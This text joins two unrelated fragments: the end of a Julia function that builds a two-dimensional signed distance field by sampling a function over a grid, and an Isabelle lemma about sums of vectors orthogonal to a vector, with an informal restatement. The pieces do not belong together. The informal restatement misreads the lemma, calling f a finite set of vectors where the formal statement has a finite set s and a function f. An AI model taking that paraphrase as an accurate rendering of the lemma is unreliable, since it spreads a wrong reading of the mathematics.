nx = ceil(Int, x_rng/resolution)
ny = ceil(Int, y_rng/resolution)
vol = Array{fieldT}(undef, nx+1, ny+1)
nb_max = Vec(x_min + resolution*nx,
y_min + resolution*ny)
for i = 0:nx, j = 0:ny
x = x_min + resolution*i
y = y_min + resolution*j
@inbounds vol[i+1,j+1] = f(Vec{2,fieldT}(x,y))
end
nb_min = minimum(bounds)
SignedDistanceField{2,T,fieldT}(HyperRectangle{2, T}(nb_min, nb_max-nb_min), vol)
end
|
Formal statement is: lemma orthogonal_lvsum: "\<lbrakk>finite s; \<And>x. x \<in> s \<Longrightarrow> orthogonal (f x) y\<rbrakk> \<Longrightarrow> orthogonal (sum f s) y" Informal statement is: If $f$ is a finite set of vectors and $y$ is a vector such that $f(x)$ is orthogonal to $y$ for all $x \in f$, then the sum of the vectors in $f$ is orthogonal to $y$. |
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